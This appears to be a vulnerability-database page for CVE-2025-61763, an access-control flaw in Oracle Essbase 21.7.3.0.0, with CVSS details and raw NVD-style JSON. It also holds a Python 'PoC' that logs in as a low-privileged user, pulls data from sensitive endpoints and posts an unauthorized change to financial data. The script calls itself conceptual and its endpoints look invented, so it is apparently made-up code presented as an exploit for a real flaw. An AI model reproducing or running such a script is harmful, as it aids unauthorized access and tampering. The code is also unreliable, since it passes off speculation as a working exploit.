Security Vulnerability Report
中文
CVE-2025-61763 CVSS 8.1 HIGH

CVE-2025-61763

Published: 2025-10-21 20:20:53
Last Modified: 2025-10-24 14:27:30

Description

Vulnerability in Oracle Essbase (component: Essbase Web Platform). The supported version that is affected is 21.7.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Essbase accessible data as well as unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:oracle:essbase:21.7.3.0.0:*:*:*:*:*:*:* - VULNERABLE
Oracle Essbase 21.7.3.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61763 - Oracle Essbase Web Platform PoC # This is a conceptual PoC demonstrating the exploitation approach # Note: Actual exploitation requires a valid low-privileged Essbase account import requests # Target Oracle Essbase Web Platform endpoint TARGET_URL = "https://target-essbase-host:port/essbase/web" # Attacker credentials (low-privileged account) USERNAME = "low_priv_user" PASSWORD = "password123" def exploit_essbase_web_platform(): """ Exploit the access control flaw in Oracle Essbase Web Platform to perform unauthorized data access/modification operations. """ session = requests.Session() # Step 1: Authenticate with low-privileged credentials login_url = f"{TARGET_URL}/api/v1/login" auth_payload = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=auth_payload) if response.status_code != 200: print("[-] Authentication failed") return print("[+] Authenticated as low-privileged user") token = response.json().get("token") headers = {"Authorization": f"Bearer {token}"} # Step 2: Exploit access control flaw to access critical data # The vulnerability allows low-privileged users to bypass # authorization checks on sensitive endpoints sensitive_endpoints = [ "/api/v1/applications", # Access all applications "/api/v1/databases/FinancialData", # Access financial databases "/api/v1/cubes/BudgetCube", # Access budget cubes ] for endpoint in sensitive_endpoints: url = f"{TARGET_URL}{endpoint}" response = session.get(url, headers=headers) if response.status_code == 200: print(f"[+] Unauthorized access to: {endpoint}") # Exfiltrate or modify critical data sensitive_data = response.json() print(f" Data: {sensitive_data}") # Step 3: Perform unauthorized data modification modify_url = f"{TARGET_URL}/api/v1/databases/FinancialData/modify" modify_payload = { "operation": "update", "data": {"revenue": 0} # Unauthorized modification } response = session.post(modify_url, json=modify_payload, headers=headers) if response.status_code == 200: print("[+] Unauthorized data modification successful") if __name__ == "__main__": exploit_essbase_web_platform()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61763", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:52.883", "lastModified": "2025-10-24T14:27:30.273", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in Oracle Essbase (component: Essbase Web Platform). The supported version that is affected is 21.7.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Essbase accessible data as well as unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:essbase:21.7.3.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "BE43D115-D57E-4B20-A02D-F10059F692A7"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}